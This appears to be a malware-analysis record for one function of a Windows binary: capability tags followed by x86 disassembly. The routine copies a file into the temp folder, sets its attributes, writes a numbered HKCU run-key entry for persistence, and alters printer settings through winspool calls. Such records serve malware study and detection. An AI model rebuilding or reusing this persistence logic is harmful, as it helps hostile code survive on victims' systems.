Function at 0x53a3e4
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x53a3ec
push ebx
xor eax, eax
push ebp
push 0x53a73e
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 4]
mov edx, 0x53a754
call fcn.004fe830
lea eax, [ebp - 8]
mov edx, 0x12c
call fcn.00405e5c
mov eax, dword [ebp - 8]
call fcn.00405bcc
push eax
push 0x12c
call sub.kernel32.dll_GetTempPathA
test eax, eax
jbe 0x53a716
mov eax, dword [ebp - 8]
call fcn.00405bcc
call fcn.0040ba64
mov edx, eax
lea eax, [ebp - 8]
call fcn.00405e5c
lea ecx, [ebp - 0x2c]
mov edx, 0x53a754
mov eax, dword [ebp - 8]
call fcn.004fe830
mov edx, dword [ebp - 0x2c]
lea eax, [ebp - 8]
call fcn.004057d4
push 0x20
mov eax, dword [ebp - 8]
call fcn.00405bcc
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
mov eax, dword [ebp - 8]
call fcn.00405bcc
push eax
mov eax, dword [ebp - 4]
call fcn.00405bcc
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x53a716
push 0x20
mov eax, dword [ebp - 8]
call fcn.00405bcc
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0042c5c8
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, 0x80000001
call fcn.0042c5f8
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov cl, 1
mov edx, 0x53a768
call fcn.0042c660
test al, al
je 0x53a6d3
mov ebx, 1
lea edx, [ebp - 0x30]
mov eax, ebx
call fcn.0040aee0
mov ecx, dword [ebp - 0x30]
lea eax, [ebp - 0xc]
mov edx, 0x53a7a4
call fcn.00405a54
jmp 0x53a527
inc ebx
lea edx, [ebp - 0x34]
mov eax, ebx
call fcn.0040aee0
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0xc]
mov edx, 0x53a7a4
call fcn.00405a54
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, dword [ebp - 0xc]
call fcn.0042cef8
test al, al
jne 0x53a50c
push dword [ebp - 8]
push 0x53a7b4
call fcn.004fd964
and eax, 0x7f
lea edx, [ebp - 0x38]
call fcn.0040aee0
push dword [ebp - 0x38]
push 0x53a7c0
lea ecx, [ebp - 0x3c]
mov eax, dword [0x55a778]
mov eax, dword [eax]
mov eax, dword [eax + 0x360]
mov edx, 0x53a7cc
call fcn.00486174
push dword [ebp - 0x3c]
push 0x53a7c0
lea ecx, [ebp - 0x40]
mov eax, dword [0x55a778]
mov eax, dword [eax]
mov eax, dword [eax + 0x360]
mov edx, 0x53a804
call fcn.00486174
push dword [ebp - 0x40]
push 0x53a7c0
mov eax, dword [ebp + 8]
push dword [eax - 8]
push 0x53a7c0
mov eax, dword [ebp + 8]
push dword [eax - 0xc]
push 0x53a7c0
mov eax, dword [ebp + 8]
push dword [eax - 0x10]
push 0x53a7c0
mov eax, dword [ebp + 8]
mov eax, dword [eax + 8]
mov eax, dword [eax - 4]
push dword [eax + 0xa0]
push 0x53a814
lea eax, [ebp - 0x10]
mov edx, 0x10
call fcn.00405ad0
lea eax, [ebp - 0x28]
xor ecx, ecx
mov edx, 0xc
call fcn.00403b7c
mov dword [ebp - 0x20], 0xf000c
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 8]
call fcn.00405bcc
push eax
call sub.winspool.drv_OpenPrinterA
test eax, eax
je 0x53a6c8
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 2
mov eax, dword [ebp - 0x14]
push eax
call sub.winspool.drv_GetPrinterA
cmp dword [ebp - 0x18], 0
jbe 0x53a6c8
mov ebx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
call fcn.00402f38
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x53a6c1
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
push eax
push ebx
mov eax, dword [ebp - 0x1c]
push eax
push 2
mov eax, dword [ebp - 0x14]
push eax
call sub.winspool.drv_GetPrinterA
test eax, eax
je 0x53a6ab
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0xc]
call fcn.00405bcc
mov edx, dword [ebp - 0x1c]
mov dword [edx + 0xc], eax
push 0
mov eax, dword [ebp - 0x1c]
push eax
push 2
mov eax, dword [ebp - 0x14]
push eax
call sub.winspool.drv_SetPrinterA
test eax, eax
je 0x53a6ab
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.0042cc9c
mov eax, dword [0x55aa68]
mov byte [eax], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53a6c8
mov eax, dword [ebp - 0x1c]
call fcn.00402f54
ret
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0042c5c8
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov cl, 1
mov edx, 0x53a820
call fcn.0042c660
test al, al
je 0x53a706
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
xor ecx, ecx
mov edx, 0x53a848
call fcn.0042cd74
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
call fcn.0042c5c8
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov edx, 0x80000002
call fcn.0042c5f8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x53a745
lea eax, [ebp - 0x40]
mov edx, 6
call fcn.00405760
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.00405760
ret